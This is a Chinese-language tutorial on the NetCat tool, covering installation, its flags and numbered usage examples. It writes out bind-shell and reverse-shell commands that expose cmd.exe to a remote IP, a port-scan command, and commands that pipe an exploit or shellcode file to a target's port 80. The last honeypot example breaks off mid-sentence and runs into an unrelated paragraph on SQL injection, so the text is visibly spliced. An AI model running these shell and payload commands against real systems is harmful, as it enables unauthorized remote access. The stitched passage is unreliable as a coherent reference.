NetCat工具的介绍和使用

安装

工具下载地址

https://eternallybored.org/misc/netcat/

配置环境变量后即可使用

使用

nc.exe -h即可看到各参数的使用方法。

基本格式：nc [-options] hostname port[s] [ports] …

监听：nc -lvvp [port]

反弹shell：nc -t -e c:winntsystem32cmd.exe [ip] [port]

**-d **后台模式

**-e **prog 程序重定向，一旦连接，就执行 [危险!!]

**-g **gateway source-routing hop point[s], up to 8

**-G **num source-routing pointer: 4, 8, 12, …

-h 帮助信息

**-i **secs 延时的间隔

-l 监听模式，用于入站连接

-L 连接关闭后,仍然继续监听

-n 指定数字的IP地址，不能用hostname

**-o **file 记录16进制的传输

**-p **port 本地端口号

-r 随机本地及远程端口

**-s **addr 本地源地址

-t 使用TELNET交互方式

-u UDP模式

-v 详细输出–用两个-v可得到更详细的内容

**-w **secs timeout的时间

-z 将输入输出关掉–用于扫描时

端口的表示方法可写为M-N的范围格式。

基本用法

1)连接到REMOTE主机，例子：

格式：nc -nvv 192.168.x.x 80

讲解：连到192.168.x.x的TCP80端口

2)监听LOCAL主机，例子：

格式：nc -l -p 80

讲解：监听本机的TCP80端口

3)扫描远程主机，例子：

格式：nc -nvv -w2 -z 192.168.x.x 80-445

讲解：扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL，例子：

格式：nc -l -p 5354 -t -e c:winntsystem32cmd.exe

讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接，例子：

格式：nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354

讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

6)作攻击程序用，例子：

格式1：type.exe c:exploit.txt|nc -nvv 192.168.x.x 80

格式2：nc -nvv 192.168.x.x 80 < c:exploit.txt

讲解：连接到192.168.x.x的80端口，并在其管道中发送c:exploit.txt的内容(两种格式确有相同的效果， 真是有异曲同工之妙:P)

附：c:exploit.txt为shellcode等

7)作蜜罐用[1]，例子：

格式：nc -L -p 80

讲解：使用-L(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止

8)作蜜罐用[2]，例子：

格式：nc -L -p 80 > c:log.txt

讲解：使用-L可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到c:log.txt中，如果把‘>’  改为‘>>’即可以追加日志

附：c:log.txt为日志等

9)作蜜罐用[3]，例子：

格式1：nc -L -p 80 < c:honeypot.txt

格式2：type.exe c:honeypot.txt|nc -L -p 80

讲解：使用-L可以不停地监听某一个端口，直到ctrl+c为止，并把c:honeypot.txt的内容‘送’入其管道中如果攻击者知道应用会将表单中输入的内容直接用于验证身份的查询，他就会尝试输入某些特殊的SQL字符串篡改查询改变其原来的功能，欺骗系统授予访问权限。系统环境不同，攻击者可能造成的损害也不同，这主要由应用访问数据库
的安全权限决定。如果用户的帐户具有管理员或其他比较高级的权限，攻击者就可能对数据库的表执行各种他想要做的操作，包括添加、删除或更新数据，甚至可能直接删除表。